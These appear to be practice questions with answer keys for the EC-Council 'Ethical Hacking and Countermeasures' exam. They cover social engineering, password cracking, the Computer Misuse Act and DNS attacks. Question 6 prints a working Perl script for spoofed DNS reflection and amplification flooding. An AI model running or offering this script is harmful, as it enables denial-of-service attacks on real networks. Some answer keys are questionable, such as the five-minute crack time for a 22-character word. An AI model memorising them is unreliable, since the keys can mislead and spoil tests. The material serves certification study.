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Exam : EC-Council EC0-350
Title : Ethical Hacking and Countermeasures

1. What is the most common vehicle for social engineering attacks?
A. Email
B. Direct in person
C. Local Area Networks
D. Peer to Peer networks
Answer: B

2. You have successfully run a buffer overflow attack against a default IIS installation running on a Windows 2000 server. The server allows you to spawn a shell. In order to perform the actions you intend to do, you need elevated permissions. You need to know what your privileges are within the shell. What are your current privileges?
A. LocalSystem
B. Administrator
C. IUSR_COMPUTERNAME
D. IIS default installation account
Answer: A

3. The United Kingdom (UK) has passed a law that makes hacking into an unauthorized network a felony.
The law states:
Section 1 of the Act refers to unauthorized access to computer material. This states that a person commits an offence if he causes a computer to perform any function with intent to secure unauthorized access to any program or data held in any computer. For a successful conviction under this part of the Act, the prosecution must prove that the access secured is unauthorized and that the suspect knew that this was the case. This section is designed to deal with common-or-garden hacking.
Section 2 of the Act deals with unauthorized access with intent to commit or facilitate the commission of further offences. An offence is committed under Section 2 if a Section 1 offence has been committed and there is the intention of committing or facilitating a further offence (any offence which attracts a custodial sentence of more than five years, not necessarily one covered by the Act). Even if it is not possible to prove the intent to commit the further offence, the Section 1 offence is still committed.
Section 3 offences cover unauthorized modification of computer material, which generally means the creation and distribution of viruses. For a conviction to succeed there must have been the intent to cause the modification, and knowledge that the modification had not been authorized.
What is this law called?
A. Computer Misuse Act 1990
B. Computer Incident Act 2000
C. Cyber Crime Law Act 2003
D. Cyber Space Crime Act 1995
Answer: A

4. You have chosen a 22 character word from the dictionary as your password. How long will it take to crack the password by an attacker?
A. 5 minutes
B. 23 days
C. 200 years
D. 16 million years
Answer: A

5. Spears Technology, Inc is a software development company located in Los Angeles, California. They reported a breach in security, stating that its "security defenses has been breached and exploited for 2 weeks by hackers." The hackers had accessed and downloaded 90,000 addresses containing customer credit cards and passwords. Spears Technology found this attack to be so severe that they reported the attack to the FBI for a full investigation. Spears Technology was looking to law enforcement officials to protect their intellectual property.
How did this attack occur? The intruder entered through an employees home machine, which was connected to Spears Technologys corporate VPN network. The application called BEAST Trojan was used in the attack to open a "back door" allowing the hackers undetected access. The security breach was discovered when customers complained about the usage of their credit cards without their knowledge.
The hackers were traced back to Beijing, China through e-mail address evidence. The credit card information was sent to that same e-mail address. The passwords allowed the hackers to access Spears Technologys network from a remote location, posing as employees. The intent of the attack was to steal the source code for their VOIP system and "hold it hostage" from Spears Technology, in exchange for ransom.
The hackers had intended on selling the stolen VOIP software source code to competitors.
How would you prevent such attacks from occurring in the future at Spears Technology?
A. Disable VPN access to all your employees from home machines
B. Allow VPN access but replace the standard authentication with biometric authentication
C. Replace the VPN access with dial-up modem access to the companys network
D. Enable 25 character complex password policy for employees to access the VPN network
Answer: A

6. A Hacker would typically use a botnet to send a large number of queries to open DNS servers. These queries will be "spoofed" to look like they come from the target of the flooding, and the DNS server will reply to that network address.
It is generally possible to stop the more-common bot-delivered attack by blocking traffic from the attacking machines, which are identifiable. But blocking queries from DNS servers brings problems in its wake. A DNS server has a valid role to play in the workings of the Internet. Blocking traffic to a DNS server could also mean blocking legitimate users from sending e-mail or visiting a Web site. A single DNS query could trigger a response that is as much as 73 times larger than the request.
The following perl code can launch these attacks.
use Net::DNS::Resolver;
use Net::RawIP;
open(LIST,"ns.list");
@list=<LIST>;
close LIST;
chomp(@list);
my $lnum=@list;
my $i=0;
my $loop=0;
if ($ARGV[0] eq ”) {
print "Usage: ./hackme.pl <target IP> <loop count>n";
exit(0);
}
while($loop < $ARGV[1]) {
while($i < $lnum) {
my $source = $ARGV[0];
my $dnspkt = new Net::DNS::Packet("google.com","ANY");
my $pktdata = $dnspkt->data;
my $sock = new Net::RawIP({udp=>{}});
$sock->set({ip => { saddr => $source, daddr => $list[$i], frag_off=>0,tos=>0,id=>1565}, udp => {source => 53, dest => 53, data=>$pktdata} });
$sock->send;
$i++;
}$loop++; $i=0;}
exit(0);
What type of attacks are these?
A. DNS reflector and amplification attack
B. DNS cache poisoning attacks
C. DNS reverse connection attacks
D. DNS forward lookup attacks
Answer: A

7. What hacking attack is challenge/response authentication used to prevent?
A. Replay attacks
B. Scanning attacks
C. Session hijacking attacks
D. Password cracking attacks
Answer: A

8. System administrators sometimes post questions to newsgroups when they run into technical challenges. As an ethical hacker, you could use the information in newsgroup postings to glean insight into the makeup of a target network. How would you search for these posting using Google search?
A. Search in Google using the key search strings "the target company" and "newsgroups"
B. Search for the target company name at http://groups.google.com
C. Use NNTP websites to search for these postings
D. Search in Google using the key search strings "the target company" and "forums"
Answer: B

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